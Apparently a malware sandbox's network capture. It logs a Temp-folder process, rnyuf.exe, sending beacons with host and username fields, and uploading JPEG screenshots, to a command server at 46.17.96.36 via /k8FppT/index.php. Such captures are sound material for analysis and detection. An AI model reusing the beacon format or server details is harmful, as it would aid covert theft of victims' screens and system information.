Aug 29, 2021 22:27:59.665474892 CEST	11722	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:59.697937965 CEST	11725	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:59.697971106 CEST	11730	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:59.697984934 CEST	11735	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:59.698028088 CEST	11746	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:59.800906897 CEST	11796	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.4	49888	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:59.772950888 CEST	11795	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:59.847225904 CEST	11796	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49750	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:15.237274885 CEST	2636	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:15.237449884 CEST	2636	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:15.237699032 CEST	2646	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:15.237847090 CEST	2649	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:15.272635937 CEST	2657	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:15.272733927 CEST	2669	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:15.272798061 CEST	2671	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:15.272825003 CEST	2674	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:15.309000969 CEST	2679	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:15.309354067 CEST	2685	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:15.309463024 CEST	2690	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:15.427400112 CEST	2743	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.4	49889	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:00.000924110 CEST	11797	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:00.083905935 CEST	11836	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.4	49890	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:00.043370008 CEST	11797	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:28:00.043436050 CEST	11798	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:00.043590069 CEST	11808	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:00.043747902 CEST	11810	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:00.079973936 CEST	11813	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:00.080025911 CEST	11830	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:00.080044031 CEST	11833	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:00.080090046 CEST	11836	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:00.119486094 CEST	11841	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:00.119549990 CEST	11865	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:00.119599104 CEST	11868	OUT	Data Raw: 4e 02 80 38 a7 01 4c 86 ce 97 c2 6b 98 f5 1f fa e4 3f 91 ae 74 f0 ed f5 ae a7 c1 f1 ee 83 53 3f f4 cb fa 1a e6 18 7c c7 eb 5c 14 25 fb fa 8b d0 ea ae ad 42 0f d4 6d 18 a5 c5 18 ae db 9c 37 12 9c 28 c5 00 50 20 a5 a5 c5 2e 3d aa 5b 10 98 a3 14 f0 Data Ascii: N8Lk?tS?\|\%Bm7(P .=[xF?AR[i?CU?H=9WeImd[k4>f)w5X*sJ1]/f@7yZKI/&:Z{77?/mZ_Z+
Aug 29, 2021 22:28:00.229979992 CEST	11909	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.4	49891	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:00.239121914 CEST	11909	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:00.317523003 CEST	11910	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.4	49892	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:00.465706110 CEST	11910	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----2c09df93ad9fbf4372f0aa685f89642f Host: 46.17.96.36 Content-Length: 110773 Cache-Control: no-cache
Aug 29, 2021 22:28:00.465725899 CEST	11911	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 63 30 39 64 66 39 33 61 64 39 66 62 66 34 33 37 32 66 30 61 61 36 38 35 66 38 39 36 34 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------2c09df93ad9fbf4372f0aa685f89642fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:00.465894938 CEST	11921	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:00.466006041 CEST	11923	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:00.500761032 CEST	11927	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:00.500900984 CEST	11929	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:00.500914097 CEST	11932	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:00.501029968 CEST	11947	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:00.501223087 CEST	11949	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:00.535797119 CEST	11955	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:00.535834074 CEST	11960	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
